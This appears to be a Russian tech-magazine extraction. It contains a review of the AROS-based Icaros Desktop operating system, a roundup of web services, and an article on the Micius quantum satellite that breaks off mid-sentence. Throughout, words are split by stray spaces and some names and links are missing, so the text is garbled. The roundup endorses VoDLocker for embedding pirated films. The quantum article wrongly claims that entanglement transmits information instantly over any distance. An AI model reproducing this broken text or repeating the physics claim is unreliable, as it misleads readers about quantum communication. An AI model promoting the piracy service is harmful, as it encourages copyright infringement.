Как  появи лась  AmigaOS
и что с ней ста ло теперь

AROS
По ка  круп ные  ком пании  делили  шку ру  уби той  Commadore  и  спо рили,  кому
при над лежат пра ва на исходни ки AmigaOS, неболь шая груп па раз работ чиков
решила вос создать опе раци онку с нуля и пор тировать ее не толь ко на ори‐ 
гиналь ную Amiga,  но и  на стан дар тный  IBM PC.  Так появи лась    (AROS
Research Operating System), откры тая ОС, пол ностью сов мести мая на уров не
исходно го  кода  с  Amiga  3.1  и  бинар но  сов мести мая  с  ПО  для  Amiga,  если
уста новить ее на одну из ори гиналь ных моделей Amiga.

AROS

AROS активно раз вива ется и сей час, так что не поп робовать эту экзо тику
было бы прес тупле нием про тив тех, кто пом нит и любит Amiga. Опе раци онка
дос тупна в четырех вари антах:

 — вклю чают в себя толь ко саму
опе раци онку и базовый набор соф та (раз мер от 2 до 135 Мбайт);

• ноч ные сбор ки для плат форм x86 и ARM

 — hosted‐вер сия AROS, спо‐ 
соб ная работать поверх дру гой ОС (раз мер — 22 Мбайт);

• ноч ные сбор ки для Linux, FreeBSD и Windows

 —  пред нас тро енный  Live  CD  AROS  с  набором  сто рон них
при ложе ний (1,7 Гбайт);

• Icaros  Desktop

 — сбор ка AROS для ори гиналь ной Amiga.• Aros Vision

Су щес тву ет  еще  нес коль ко  дис три бути вов  раз ной  сте пени  жиз неспо соб‐ 
ности. К при меру, сбор ка для Raspberry Pi и некото рых дру гих компь юте ров.
Мы  же  пос мотрим  на  Icaros  Desktop,  пос ледняя  вер сия  которо го  была
выпуще на в декаб ре 2016 года. Имен но эта сбор ка в теории дол жна показать
сов ремен ную AmigaOS во всей кра се.

Icaros мож но юзать как в режиме Live CD, так и уста новив на жес ткий диск
или флеш ку. Опе раци онка прек расно работа ет внут ри VirtualBox, а при запус‐ 
ке  на  реаль ном  железе  исполь зует  аппа рат ное  3D‐уско рение  адап теров
GeForce 5+ и Intel GMA. Так же под держи вает ся USB 2.0 и ряд наибо лее рас‐ 
простра нен ных сетевых адап теров.

ДЕСКТОП
Заг рузка Icaros длит ся не более двух секунд, по про шес твии которых ты уви‐ 
дишь на экра не дес ктоп, подоз ритель но похожий на macOS. Одно замет ное
отли чие — в вер хней час ти экра на находит ся стро ка сос тояния. Она показы‐ 
вает  количес тво  занятой  памяти  и  количес тво  про цес сов,  а  так же  слу жит
для  перек лючения  меж ду  дес кто пами  (кноп ка  в  пра вом  вер хнем  углу).  Все
дес кто пы в AROS отоб ража ются один поверх дру гого  (как откры тые на пол‐ 
ный экран окна), поэто му мож но добить ся отоб ражения сра зу двух дес кто пов,
если сдви нуть один из них вниз, потянув за стро ку сос тояния.

Дес ктоп Icaros

В  ори гиналь ной  Amiga  и  AROS  стро ка  сос тояния  так же  исполь зует ся
для отоб ражения меню при ложе ний и дес кто па (что дела ет сходс тво с macOS
еще более разитель ным). В  Icaros для  этих целей при меня ется  кон текс тное
меню. В ниж ней час ти экра на находит ся док AmiStart. В AROS его так же нет,
это сто рон няя раз работ ка, которую интегри рова ли в дис три бутив.

Ме ню при ложе ний

В доке заранее раз мещены знач ки полез ных при ложе ний: бра узер, блок нот,
сек венсер  Audio  Evolution,  все ядный  муль тимеди апле ер  MPlayer  (порт
из Linux),  прос мот рщик изоб ражений ZuneView,  архи ватор ZuneArc, мес тный
Paint  под наз вани ем Lunapaint  (он,  кста ти, откры вает ся  в отдель ном дес кто‐ 
пе),  зна мени тое  при ложе ние  для  соз дания  тре кер ной  музыки  ProTracker,
не  менее  зна мени тый  двух панель ный  фай ловый  менед жер  Directory  Opus
(для UNIX‐сис тем есть даже его копия под наз вани ем Worker).

Прос мот рщик изоб ражений ZuneView

Directory Opus и MPlayer

С левой сто роны дока находит ся меню при ложе ний,  с пра вой — меню инс‐ 
тру мен тов  для  запус ка  прог рамм  и  демок  для  Amiga  в  режиме  эму ляции.
Кста ти,  устро ено  это  весь ма инте рес но — через  прос лой ку AmiBridge. Суть
тех нологии  в  сле дующем:  Icaros  запус кает  эму лятор  «Ами ги»  Janus‐UAE,
в нем — пор тирован ную для Amiga вер сию AROS и уже в ней — при ложе ние,
запоми ная нас трой ки эму лято ра для каж дой прог раммы.

Эму лятор Amiga Janus‐UAE

В  Icaros — огромное количес тво пор тирован ных c Amiga и дру гих плат форм
при ложе ний, вклю чая четыре раз ных фай ловых менед жера, кли енты rDesktop
и VNC, FTP‐кли енты, SSH, нес коль ко тре керов, матема тичес кие при ложе ния,
при ложе ния для работы с базами дан ных, видео и гра фикой, в том чис ле век‐ 
торный редак тор ZuneFIG, при ложе ния для работы с кар тами OpenStreetMap,
огромное  количес тво  эму лято ров  прис тавок  и  ста рых  пер соналок,  а  так же
мно жес тво клас сичес ких игр, вклю чая Duke Nukem 3D, Doom и Quake.

Век торный редак тор ZuneFIG

Драм‐машина, тре кер, MP3‐пле ер и mod‐пле ер

По дав ляющее боль шинс тво соф та,  конеч но же, дав но  уста рело, но в целом
жить мож но,  тем более  что бра узер,  без  которо го  сегод ня  труд но  пред ста‐ 
вить себе дес ктоп, тут осно ван на впол не сов ремен ном WebKit. Дру гое дело,
что у него есть явные проб лемы с рус ским язы ком и отоб ражени ем кар тинок.

Xakep.ru в мес тном бра узе ре

Те перь о более инте рес ном. В AmigaOS, а как следс твие, в AROS есть кон‐ 
цепция  так  называ емых  хен дле ров  фай ловых  сис тем.  Хен дле ры  поз воля ют
добавить в сис тему под дер жку новой ФС, написав спе циаль ную биб лиоте ку
и раз местив ее в сис темном катало ге. Пос ле это го к фай ловой сис теме мож‐ 
но обра щать ся, исполь зуя спе циаль ный пре фикс, нап ример   — пер вый
жес ткий диск,   — пер вый флоп пи‐диск и так далее. Поэто му 

 — это файл porn.avi в катало ге video на пер вом жес тком дис ке.
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pornŜa�i
На  пер вый  взгляд  —  никаких  отли чий  от  тра дици онных  опе раци онок,

но  есть  один  нюанс:  хен дле ры  сов сем  не  обя заны  пре дос тавлять  дос туп
к  реаль ной  фай ловой  сис теме,  рас положен ной  на  дис ке.  Поэто му  в  Amiga,
нап ример,  есть  хен дле ры  для  син тезато ра  речи  (SPEAK:)  и  пос ледова тель‐ 
ного  пор та  (SER:),  с  которы ми мож но  работать  на манер фай лов  устрой ств
в UNIX.

Спи сок устрой ств в фай ловом менед жере

Сис тема  не  зап реща ет  соз давать  собс твен ные  хен дле ры  и  сто рон ним  при‐ 
ложе ниям,  чем  они  активно  поль зуют ся.  Пле ер  может  соз дать  устрой ство

,  с  помощью  которо го  мож но  прос матри вать  плей‐лист,  или,  ска жем,
,  что бы  управлять  изоб ражени ем.  В  Icaros  есть  даже  хен дле ры

для Google Drive и Dropbox. Прос то откры ваем Prefs → Cloud Drives, в бра узе‐ 
ре  вво дим  пароль  от  сер виса,  копиру ем  обратно  код,  нажима ем  OK,  и  на
экра не  появ ляет ся  икон ка  облачно го  дис ка,  с  которым  мож но  работать  так
же, как с обыч ным дис ком.
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Нас тра иваем при вяз ку к Google Drive

В AROS, как и в Amiga, есть собс твен ный скрип товый язык ARexx, с помощью
которо го  мож но  не  толь ко  соз давать  прос тень кие  shell‐скрип ты,  но  и  авто‐ 
мати зиро вать  работу  гра фичес ких  при ложе ний. Мно гие  при ложе ния  реали‐ 
зуют  API  для  управле ния  сво ими  фун кци ями  из  скрип тов  ARexx,  поэто му
у поль зовате ля есть воз можность писать слож ные мак росы, которые исполь‐ 
зуют  сра зу  нес коль ко  при ложе ний.  Нап ример,  ты  можешь  написать  скрипт,
который вытащит из элек трон ной таб лицы все необ ходимые зна чения, затем
откро ет тек сто вый про цес сор, вста вит в него зна чения, сох ранит в виде PDF,
откро ет поч товый кли ент и отпра вит PDF ука зан ному адре сату.

ARexx‐скрипт из при меров

В AROS очень гиб кая гра фичес кая сре да. Нас трой ке под дают ся прак тичес ки
все эле мен ты интерфей са. Ты можешь выб рать, что будет отоб ражать стро ка
сос тояния, нас тро ить цве та, шриф ты, икон ки, обои и даже выб рать тему дес‐ 
кто па, нап ример в сти ле ори гиналь ной Amiga. Одна ко к отдель но взя тым при‐ 
ложе ниям  эти  нас трой ки  не  отно сят ся,  поэто му  в  целом  будет  сох ранять ся
раз нооб разие сти лей — от сти ля Amiga 2.0 до исполь зуемо го в AROS сти ля
гра фичес кой биб лиоте ки Zune.

Ок на нас тро ек Icaros

В СУХОМ ОСТАТКЕ
AROS — раз витая опе раци онка, в которой при желании мож но жить. А если
ты  ветеран  «Ами ги»,  то,  навер ное,  смо жешь  жить  с  ком фортом.  Одна ко
по  сегод няшним  мер кам  ничего  поража юще го  вооб ражение  здесь  нет,  и,
в отли чие от Haiku, AROS не выз вала у меня никаких осо бен ных чувств.

Ин терфейс  этой  ОС  стра дает  от  некон систен тнос ти.  Запус тив  опе раци‐ 
онку  впер вые,  ты  видишь  сов ремен ное  и  при ятное  офор мле ние,  но,  ког да
начина ешь  поль зовать ся  сис темой,  замеча ешь  проб лемы.  Нет  ни  еди ного
сти ля ико нок (при чем даже в ори гиналь ной AROS, которая исполь зует дру гой
iconset), ни еди ного сти ля при ложе ний. Одни исполь зуют стан дар тный набор
вид жетов Zune, дру гие — вид жеты BOOBSI ори гиналь ной Amiga. Содер жимое
пап ки в фай ловом менед жере боль ше похоже на хаос, чем на набор фай лов.

Как и AmigaOS, AROS не исполь зует блок MMU для  защиты памяти про‐ 
цес сов и ядра и поэто му стра дает от тех же проб лем: ошиб ка в при ложе нии
тут же при водит к фри зу всей сис темы и появ лению окна с прось бой перезаг‐ 
рузить ОС. О безопас ности говорить вооб ще не сто ит, любое уста нов ленное
при ложе ние получа ет кон троль над всей машиной. Стан дар тные при ложе ния
из ком плек та, конеч но, ведут себя хорошо и не поль зуют ся эти ми без гра нич‐ 
ными воз можнос тями, но кто зна ет, что тебе под сунут на форуме, пос вящен‐ 
ном AmigaOS.

У  AROS  есть  явные  проб лемы  с  локали заци ей.  Попыт ка  перек лючить
интерфейс  на  рус ский  язык  закан чива ется  появ лени ем  кра козябр  вмес то
нор маль ных букв. Бра узер отоб ража ет заголо вок стра ницы воп росами.

Нес мотря  на  огромное  количес тво  соф та  в  ком плек те  Icaros,  некото рые
при ложе ния прос то не работа ют, дру гие при водят  к появ лению того самого
окна  смер ти.  Wi‐Fi  не  под держи вает ся  в  прин ципе,  поэто му  об  уста нов ке
AROS на ноут бук мож но забыть.

Под водя итог, ска жу, что AROS — это ско рее для тех, кто никак не может
сми рить ся  со  смертью Amiga,  а  не  для  обыч ного  поль зовате ля.  В  этом она
силь но отли чает ся от   — та даже тем, кто
нез наком с  компь юте ром Be Box и ори гиналь ной BeOS, покажет ся цель ной
и закон ченной ОС, которой при ятно поль зовать ся.

рас смот ренной в прош лый раз Haiku

•Веб‐сайт ори гиналь ной AmigaOS
•Рус ско языч ный пор тал, пос вящен ный Amiga
•Он лайн‐эму лятор Amiga 500 и Amiga 1200
•Sate of  the art — одна из самых впе чат ляющих
демок для Amiga

mailto:zobnin@glc.ru
https://xakep.ru/2015/06/24/amigaos-197/
http://aros.sourceforge.net/
http://aros.sourceforge.net/nightly.php
http://aros.sourceforge.net/nightly.php
http://vmwaros.blogspot.ru/p/download.html
http://www.natami-news.de/html/distribution_download.html
https://xakep.ru/2017/05/10/haiku/
http://www.amigaos.net/
http://www.amiga.org.ru/
http://scriptedamigaemulator.net/
https://www.youtube.com/watch?v=QEhMK1f_YSc
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EXPO SNACK — ПРОСТЕЙШИЙ СПОСОБ ДЕЛАТЬ
МОБИЛЬНЫЕ ПРИЛОЖЕНИЯ НА REACT NATIVE1
Раз работ ка мобиль ного при ложе ния — задача не из самых зауряд‐ 
ных,  и  даже  удоб ные  кросс‐плат формен ные  фрей мвор ки  не  упро‐ 
щают  ее  до  кон ца. Отдель ная  голов ная  боль —  это  тес тирова ние,
осо бен но  если  речь  идет  об  iOS.  Средс тво  под  наз вани ем 

  зна читель но  упро щает дело:  пишешь прог рамму  в бра узе ре
и тут же тес тиру ешь на телефо не.

Expo
Snack

Сам Expo — это инс тру мент, который приз ван помочь раз работ чику
на  React  Native  и  добав ляет  к  это му  замеча тель ному  фрей мвор ку
еще  пару  удоб ных  средств.  Если  ты  уже  успел  под сесть  на  React
Native, обя затель но глянь, на что спо собен Expo.

Тем  же,  кто  толь ко  инте ресу ется  мобиль ной  раз работ кой
или  обду мыва ет  будущий  про ект,  рекомен дую  сер вис  Expo  Snack.
Суть  его  прос та:  ты  пишешь  при ложе ние  на  React  Native  пря мо
в бра узе ре, затем ста вишь при ложе ние Expo на  телефон, ска ниру‐ 
ешь QR‐код и тес тиру ешь написан ную прог рамму на телефо не вжи‐ 
вую.

Са мое при ятное, что любая прав ка в коде тут же будет отра жать‐ 
ся на работа ющем при ложе нии,  и для  это го не нуж но ни собирать
про ект, ни что‐либо син хро низи ровать. Это иде аль ный спо соб быс‐ 
тро озна комить ся  с React Native  и  неп лохая  воз можность  для  про‐ 
тоти пиро вания при ложе ний.

RADIO GARDEN — СЕРВИС, ЧЕРЕЗ КОТОРЫЙ МОЖНО
СЛУШАТЬ РАДИОСТАНЦИИ СО ВСЕГО МИРА2
Смо жешь  ли  ты  вспом нить,  ког да  пос ледний  раз  слу шал  радио?
Если ты не ездишь на машине (и не игра ешь в GTA), то, ско рее все‐ 
го,  это было дав но и не нароч но. Одна ко,  нес мотря на  то  что есть
более прод винутые спо собы получать информа цию, радио по‐преж‐ 
нему  может  быть  инте рес но.  Осо бен но  если  на  выбор  не  толь ко
мес тный эфир, а стан ции со все го мира.

Раз работ чики  сай та    соб рали  неп лохую  кол лекцию
из  сотен  ссы лок  на  стри мы  ради останций,  а  так же  про дела ли
немалую работу, раз местив их на кар те. Тебе оста ется кру тить гло‐ 
бус  и  ста вить  в  перек рестье  при цела  тот  город,  стан ции  которо го
ты бы хотел пой мать.

Radio  Garden

Хо чешь пот рениро вать англий ский, слу шая какое‐нибудь ток‐шоу
из Великоб ритании? Как нас чет  ?
Буд дий ские  пес нопения  ?  ?  Лич но  мне
очень пон равилось слу шать   — меж дународ ное япон‐ 
ское радио на англий ском.

кан три из аме рикан ской глу бин ки
пря миком  из  Тибета J‐POP

Tokyo FM World

Один совет: если тоже прис трас тишь ся к какой‐то ради останции,
то, ско рее все го, есть смысл и пой ти поис кать стрим на офи циаль‐ 
ном  сай те,  потому  что  Radio  Garden  при  всех  сво их  дос тоинс твах
обла дает  боль шим  недос татком —  через  какое‐то  вре мя  висения
в фоне иног да начина ет непомер но пот реблять ресур сы.

VODLOCKER — СЕРВИС, КОТОРЫЙ ПОЗВОЛЯЕТ ВСТАВИТЬ
ПИРАТСКИЙ ФИЛЬМ В ЛЮБУЮ СТРАНИЦУ3
Пред ставь  себе,  что  вмес то  филь мов,  раз бро сан ных  по  фай‐ 
лопомой кам  и  про чим  подоз ритель ным  сай там,  сущес тву ет  эта кий
пират ский YouTube, где мож но смот реть что угод но и сколь ко угод‐ 
но. Вооб разил? Так вот,   — это поч ти оно самое.VoDLocker.to

Вла дель цы VoDLocker соб рали и под держи вают огромную базу ссы‐ 
лок на фай лы с филь мами, раз ложен ными на Google Drive, 
и дру гих  сер висах. Все,  что от  тебя  тре бует ся, — это  впи сать наз‐ 
вание филь ма или вста вить его ID с IMDB, и VoDLocker сге нери рует
для тебя пле ер.

Openload

Даль ше  ты  можешь  не  толь ко  смот реть  фильм  на  той  же  стра‐ 
нице,  но  и  вста вить  этот  пле ер  на  свой  сайт.  Выс тавляй  нуж ные
парамет ры и копируй embed — про цеду ра такая же, как на YouTube
и  дру гих  виде охос тингах.  Потом  при  прос мотре  пле ер  может  поз‐ 
волить  выб рать  один  из  дос тупных  источни ков  фай ла  и  добавить
суб титры.

А  вот  зачем  тебе  может  понадо бить ся  стра ница  с  пират ским
видео  —  это  дру гой  воп рос.  Но,  сог ласись,  воз можность
не помеша ет!
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За пущен ный  в  прош лом  году  китай ский  спут ник  Micius
успешно  завер шил  орби таль ные  испы тания  и  уста новил
новый  рекорд  кван товой  свя зи.  Он  сге нери ровал  пару
запутан ных фотонов, раз делил их и передал одновре мен но
двум  назем ным  стан циям,  уда лен ным  друг  от  дру га
на 1203 км. Затем назем ные стан ции исполь зовали эффект
кван товой  телепор тации  для  обме на  зашиф рован ными
сооб щени ями. Потен циаль но запуск таких спут ников откры‐ 
вает  воз можность  соз дания  гло баль ных  сис тем  свя зи,
защищен ных от перех вата на уров не физичес ких прин ципов.
Экспе римент  уже  окрести ли  «началом  кван тового  интерне‐ 
та».

Ап парат  сто имостью  око ло  100  мил лионов  дол ларов  был  соз дан  в  рам ках
про екта QUESS (Quantum Science Satellite) — сов мес тной ини циати вы Китай‐ 
ской  и  Авс трий ской  ака демии  наук.  «Дан ный  про ект  приз ван  доказать  воз‐ 
можность внед рения кван товых ком муника ций в мировом мас шта бе», — ком‐ 
менти рует Антон Цай лин гер, эксперт по кван товой физике Вен ско го уни вер‐ 
ситета,  пер вым  в  мире  выпол нивший  кван товую  телепор тацию  сос тояний
запутан ных фотонов.

Тер мин «телепор тация» может ввес ти в  заб лужде ние. В  кван товых сис темах
он  озна чает  переда чу  информа ции  меж ду  заранее  сге нери рован ными
парами сцеп ленных час тиц, то есть харак теризу ющих ся общей вол новой фун‐ 
кци ей.  Переда чи  материи  или  энер гии  при  этом  не  про исхо дит,  и  ОТО
не наруша ется. Суть  кван товой  телепор тации сос тоит в исполь зовании вза‐ 
имос вязан ных  кван товых  сос тояний  запутан ных  час тиц  для  кодиро вания
и мгно вен ной переда чи информа ции. Изме рение (то есть изме нение) свой‐ 
ств одной час тицы мгно вен но изме нит ее у вто рой, на каком бы рас сто янии
они ни находи лись.

Спут ник мас сой более 600  кг был  выведен на сол нечно‐син хрон ную орби ту
высотой 494,8–511,1  км при помощи ракеты‐носите ля  «Чан чжэн‐2D»  (так же
извес тной как Long March, или «Великий поход»), стар товав шей с кос модро‐ 
ма Цзю цюань 16 августа 2016 года. Пос ле дол гих месяцев тес тирова ния он
был передан Китай ской ака демии наук.

Па рамет ры  орби ты  были  выб раны  так,  что бы  спут ник  появ лялся  в  одном
и том же мес те каж дую ночь. Назем ные стан ции отсле жива ли спут ник и уста‐ 
нав ливали с ним опти чес кие линии свя зи для при ема оди ноч ных запутан ных
фотонов. Вели спут ник три опти чес ких телес копа в Делин ге, Лиц зяне и Нань‐ 
шане. Спут нику  уда лось  уста новить  связь  со  все ми  тре мя  назем ными  стан‐ 
циями.

По  пла ну  Micius  ста нет  пер вым  аппа ратом  в  гло баль ной  сети  кван товой
свя зи, которую в КНР намере ны соз дать к 2030 году. Одна из задач его науч‐ 
ной мис сии — кван товая переда ча информа ции по защищен ному от перех‐
вата каналу свя зи меж ду Пекином и Веной. Для это го спут ник осна щен экспе‐ 
римен таль ным  обо рудо вани ем:  излу чате лем  пар  запутан ных  фотонов
и высокос корос тным когерен тным лазер ным передат чиком.

Кста ти,  спут ник  Micius  (в  дру гой  транс крип ции  —  Mozi)  наз ван  в  честь
древ некитай ско го  филосо фа  Мо‐цзы.  Как  счи тает  ведущий  спе циалист
по раз работ ке Micius, ака демик Цзянь‐Вэй Пан из Уни вер ситета науки и тех‐ 
нологии Китая, его сооте чес твен ник Мо‐цзы еще до нашей эры опи сал харак‐ 
тер  рас простра нения  све та,  что  дало  начало  раз витию  опти чес ким  видам
свя зи. Оста вим за рам ками статьи наци ональ ные при тяза ния на пер венс тво
в  опти ке  и  пос мотрим,  чем  же  инте ресен  пос тавлен ный  рекорд,  а  заод но
попыта емся разоб рать ся в осно вах кван товой свя зи.

�
Авс трия  ста ла  учас тни ком  про екта  нес лучай но:  имен но  груп пе  физиков
из  авс трий ско го  Инс брук ско го  уни вер ситета  в  1997  году  впер вые  уда лось
про демонс три ровать кван товую телепор тацию сос тояний у пары запутан ных
фотонов.

У сов ремен ного Китая тоже инте рес ная исто рия осво ения кван товой свя‐ 
зи. В 2005 году уче ные из Китай ско го уни вер ситета науки и тех нологий смог‐ 
ли  передать  кван товое  сос тояние  запутан ных  час тиц  на  7  км  по  откры тому
воз духу.  Поз же  при  помощи  изго тов ленно го  на  заказ  опто волок на  это  рас‐ 
сто яние уве личи ли до 400 км. Впер вые переда чу запутан ных фотонов через
атмосфе ру и на зна читель ное рас сто яние так же уда лось выпол нить физикам
Науч но‐тех ничес кого уни вер ситета Китая и Пекин ско го уни вер ситета Цин хуа.
В мае 2010 года они успешно переда ли пару запутан ных фотонов более чем
на 16 км (см.   в жур нале Nature Photonics).статью

Оп товоло кон ная  линия  или  связь  «через  воз дух»  в  зоне  пря мой  видимос ти
нуж на толь ко для пер воначаль ного раз деления запутан ных фотонов. В даль‐ 
нейшем  информа ция  об  изме нении  их  кван тового  сос тояния  переда ется
мгно вен но  и  незави симо  от  рас сто яния.  Поэто му,  кро ме  тра дици онно
перечис ляемых пре иму ществ кван товой переда чи дан ных (высокая плот ность
кодиро вания,  ско рость  и  защищен ность  от  перех вата), Цай лин гер отме чает
еще одно  важ ное  свой ство:  кван товая  телепор тация  воз можна и  в  том слу‐ 
чае,  ког да  точ ное  вза имное  рас положе ние  при емни ка  и  передат чика  неиз‐ 
вес тно. Это осо бен но важ но для спут никовых сис тем свя зи, пос коль ку в них
вза имное рас положе ние узлов сети пос тоян но меня ется.

В  новом  экспе римен те  с  исполь зовани ем  Micius  лабора тории,  находя‐ 
щиеся  в  сто лицах  Китая  и  Авс трии,  переда вали  друг  дру гу  сооб щение,
зашиф рован ное шиф ром Вер нама, по назем ным откры тым каналам. В качес‐ 
тве  крип тогра фичес кого  клю ча исполь зовались резуль таты изме рения  кван‐ 
товых свой ств у при нима емых со спут ника пар запутан ных фотонов.

На зем ная стан ция спут никовой кван товой свя зи. Фото: Cao Juni

Оче вид но, что при нять на Зем ле мил лиар ды фотонов даже от далеко го Сол‐ 
нца — не проб лема. Любой может сде лать это в сол нечный день, прос то вый‐ 
дя из тени. Зарегис три ровать же одновре мен но опре делен ную пару запутан‐ 
ных  фотонов  со  спут ника  в  двух  раз ных  лабора тори ях  и  изме рить  их  кван‐ 
товые  свой ства  —  исклю читель но  слож ная  тех ничес кая  задача.  Для  ее
решения в про екте QUESS исполь зовалась адап тивная опти ка. Она пос тоян‐ 
но  изме ряет  сте пень  иска жений,  вызыва емых  тур булен тностью  зем ной
атмосфе ры,  и  ком пенси рует  их.  Допол нитель но  при меня лись  опти чес кие
филь тры для отсе чения лун ного све та и город ской зас ветки. Без них в опти‐ 
чес кой линии свя зи был слиш ком силь ный уро вень шумов.

Каж дый  про ход  спут ника  над  тер ритори ей  Китая  длил ся  все го  275  с.
За  это  вре мя  тре бова лось  одновре мен но  уста новить  с  него  два  исхо дящих
канала.  В  пер вой  серии  экспе римен тов  —  меж ду  Делин гой  и  Нань шанем
(рас сто яние 1120 км). Во вто рой — меж ду Делин гой и Лиц зянем  (1203 км).
В обо их экспе римен тах со спут ника  успешно при нима лись пары запутан ных
фотонов и защищен ный канал свя зи работал.

Это  счи тает ся  про рывом  сра зу  по  нес коль ким  при чинам. Во‐пер вых, Mi‐
cius стал пер вым удач ным экспе римен том в области спут никовой кван товой
свя зи. До сих пор все подоб ные опы ты про води лись в назем ных лабора тори‐ 
ях, где при емник и передат чик были уда лены друг от дру га на куда мень шие
рас сто яния.  Во‐вто рых,  в  дру гих  экспе римен тах  для  переда чи  запутан ных
фотонов  тре бова лось  исполь зование  какой‐то  изо лиро ван ной  сре ды.  Нап‐ 
ример, опто воло кон ных линий свя зи. В‐треть их, при кван товой свя зи по опто‐ 
волок ну переда ются и регис три руют ся оди ноч ные фотоны, а спут ник повыша‐ 
ет эффектив ную ско рость обме на.

С 2014 года в Рос сии запущен про ект в области назем ной кван товой свя зи.
Инвести ции в него пре выша ют 450 мил лионов руб лей, но прак тичес кий выход
пока  очень  скром ный.  31  мая  2016  года  сот рудни ками  Рос сий ско го  кван‐ 
тового цен тра была запуще на пер вая оте чес твен ная линия кван товой свя зи.
Соз данная на базе сущес тву ющей опто воло кон ной сети, она соеди нила два
отде ления Газ пром банка в Мос кве — на Коровь ем Валу и в Новых Черемуш‐ 
ках. Рас сто яние меж ду эти ми зда ниями сос тавля ет око ло 30 км. Пока рос сий‐ 
ская линия кван товой свя зи фун кци они рует как экспе римен таль ная.

Сиг нал  от  Micius  шел  через  атмосфе ру  и  был  одновре мен но  при нят  дву мя
назем ными  стан циями.  «Если  бы  мы  исполь зовали  опто волок но  дли‐ 
ной 1200 км для рас пре деле ния пар запутан ных фотонов на Зем ле, то из‐за
потери  мощ ности  сиг нала  с  рас сто янием  мы  мог ли  бы  переда вать  толь ко
одну пару в секун ду. Спут ник помога ет пре одо леть этот барь ер. Мы уже улуч‐ 
шили ско рость рас пре деле ния на 12 поряд ков по срав нению с преж ними тех‐ 
нологи ями», — говорит Цзянь‐Вэй Пан.

Кван товая  переда ча  дан ных  через  спут ник  откры вает  воз можность  пос‐ 
тро ения  гло баль ных  сис тем  свя зи,  мак сималь но  защищен ных  от  перех вата
на уров не физичес ких прин ципов. «Это пер вый шаг в нап равле нии все мир ной
безопас ной кван товой ком муника ции и, воз можно, даже кван тового интерне‐ 
та», — счи тает Антон Цай лин гер.

Эк спе римен таль ное обо рудо вание спут ника Micius. Фото: Xinhua

Па радокс  дан ного  дос тижения  сос тоит  в  том,  что  даже  авто ры  про екта
не  зна ют  всех  деталей  о  работе  кван товой  сис темы  свя зи.  Есть  толь ко
рабочие  гипоте зы,  их  экспе римен таль ная  про вер ка  и  дол гие  дебаты  о  пра‐ 
виль нос ти  трак товки  получен ных  резуль татов.  Так  час то  быва ет:  сна чала
откры вают  какое‐то  явле ние,  потом  его  начина ют  активно  исполь зовать,
и  толь ко спус тя дол гое вре мя находит ся  кто‐то, спо соб ный понять его суть.
Пер вобыт ные  люди  уме ли  добывать  огонь,  но  ник то  из  них  не  понимал
физико‐химичес кие про цес сы горения. Разоб рать ся в них приш лось для того,
что бы  сде лать  качес твен ный  переход  от  кос тра  до  дви гате ля  внут ренне го
сго рания и ракет ного дви гате ля.

Кван товая  телепор тация  —  шту ка  и  вов се  запутан ная  во  всех  смыс лах.
Давай  поп робу ем  абс тра гиро вать ся  от  слож ных фор мул,  нез римых  понятий
и  разоб рать ся  в  ее  осно вах.  Помогут  нам  в  этом  ста рые  зна комые  —
собесед ники Али са, Боб и веч но под слу шива ющий их Мэлори.

КАК АЛИСА И БОБ ОБВЕЛИ МЭЛОРИ
В обыч ной сис теме свя зи Мэлори отво дит ся роль «челове ка посере дине». Он
незамет но  вкли нива ется  в  линию  переда чи,  перех ватыва ет  сооб щение
от Али сы, чита ет его, при желании так же изме няет и переда ет даль ше Бобу.
Наив ный Боб ни о чем не подоз рева ет. Поэто му Мэлори получа ет его ответ,
про делы вает с ним что угод но и отправ ляет Али се. Так про исхо дит  ком про‐ 
мета ция  всей  перепис ки,  телефон ных  перего воров  и  любого  дру гого  клас‐ 
сичес кого  вида  свя зи.  С  кван товой  связью  это  невоз можно  в  прин ципе.
Почему?

Что бы  соз дать  в  ней  крип тогра фичес кий  ключ,  Али са  и  Боб  сна чала
исполь зуют  серию  изме рений  на  парах  запутан ных фотонов.  Затем  резуль‐ 
таты  этих  изме рений  ста новят ся  клю чом  для  шиф рования  и  рас шифров ки
сооб щений, отправ ляемых по любому откры тому каналу. Если Мэлори перех‐ 
ватит запутан ные фотоны, он раз рушит кван товую сис тему и оба собесед ника
немед ленно  узна ют  об  этом.  Мэлори  физичес ки  не  смо жет  пов торно
передать такие же фотоны, потому что это про тиво речит прин ципу кван товой
механи ки, извес тно му как «зап рет на кло ниро вание».

Так  про исхо дит  потому,  что  свой ства  мак ро‐  и  мик ромира  кар диналь но
отли чают ся. Любой мак рообъ ект всег да сущес тву ет во впол не опре делен ном
сос тоянии. Вот лист бумаги, он лежит. Вот его помес тили в кон верт и отпра‐ 
вили  ави апоч той.  Мы  можем  изме рить  любой  параметр  бумаж ного  сооб‐ 
щения  в  любой момент  вре мени,  и  это  никак  не  пов лияет  на  его  суть. Оно
не изме нит содер жание от взве шива ния, прос вечива ния рен тге ном и не ста‐ 
нет лететь быс трее в луче радара, которым мы изме ряем ско рость самоле та.

Для эле мен тарных час тиц все не так. Они опи сыва ются как веро ятнос тные
сос тояния  кван товой  сис темы,  а  любое  изме рение  перево дит  ее  в  стро го
опре делен ное  сос тояние,  то  есть  изме няет.  Само  вли яние  изме рения
на  резуль тат  пло хо  укла дыва ется  в  при выч ное  мировоз зре ние.  Одна ко
с  прак тичес кой  точ ки  зре ния  оно  инте рес но  тем,  что  сос тояние  переда‐ 
ваемой  кван товой  сис темы  нель зя  узнать  скрыт но.  Попыт ка  перех ватить
и про честь такое сооб щение поп росту раз рушит его. Поэто му счи тает ся, что
кван товая связь пол ностью исклю чает воз можность MitM‐ата ки.

Для  кван товой  переда чи  дан ных  теоре тичес ки  под ходят  любые  эле мен‐ 
тарные  час тицы.  Рань ше  экспе римен ты  про води лись  с  элек тро нами,  про‐ 
тона ми и даже иона ми раз ных метал лов. На прак тике же пока удоб нее все го
исполь зовать фотоны. Их лег ко излу чать и регис три ровать. Уже есть готовые
при боры,  про токо лы  и  целые  опто воло кон ные  сети  для  тра дици онной
переда чи  дан ных.  Отли чие  кван товых  сис тем  свя зи  сос тоит  в  том,  что
переда вать в них надо пары пред варитель но запутан ных фотонов.

КАК НЕ ЗАПУТАТЬСЯ В ДВУХ ФОТОНАХ
За путан ность  эле мен тарных  час тиц  порож дает  жар кие  спо ры  вок руг  прин‐ 
ципа локаль нос ти — пос тулата о том, что во вза имо дей стви ях учас тву ют толь‐ 
ко дос таточ но близ кие друг к дру гу объ екты. На этом прин ципе стро ятся все
экспе римен таль ные  про вер ки  в  клас сичес кой  механи ке.  Резуль тат  любого
опы та  в  ней  зависит  толь ко  от  непос редс твен но  вза имо дей ству ющих  тел
